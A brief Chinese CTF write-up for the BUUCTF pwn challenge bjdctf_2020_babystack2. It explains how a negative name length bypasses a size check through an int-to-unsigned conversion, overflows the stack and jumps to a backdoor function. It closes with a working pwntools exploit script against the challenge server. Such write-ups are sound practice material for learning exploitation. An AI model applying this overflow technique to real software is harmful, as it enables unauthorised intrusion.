BUUCTF—bjdctf_2020_babystack2
先看看开了什么保护机制
打开64位ida看看
整个程序就是让你输入名字长度,然后根据这个长度让你输入名字,名字是存放在局部变量里的,有机会栈溢出,只不过他有限制,名字长度不能超过10,这样子的长度根本不够栈溢出,怎么办
仔细一看,这个后面有个格式转换,就在read函数那边,第三个参数是读入长度,也就是我们之前输入的名字的长度,强制类型转换成了unsigned int,看一下原本是int类型,妙啊,也就是说我可以输入一个负数,负数肯定小于10,然后转换成unsigned int的时候会变成一个很大的数,这样就可以栈溢出了,nice,然后去找找有没有后门
有个叫backdoor的,点进去看看
真的是后门,nice,那么这题就解决了
from pwn import*
p=remote('node4.buuoj.cn',29502)
p.recvuntil('name:\n')
p.sendline(str(-1))
p.recvuntil('name?\n')
payload=b'a'*0x18+p64(0x400726)
p.sendline(payload)
p.interactive()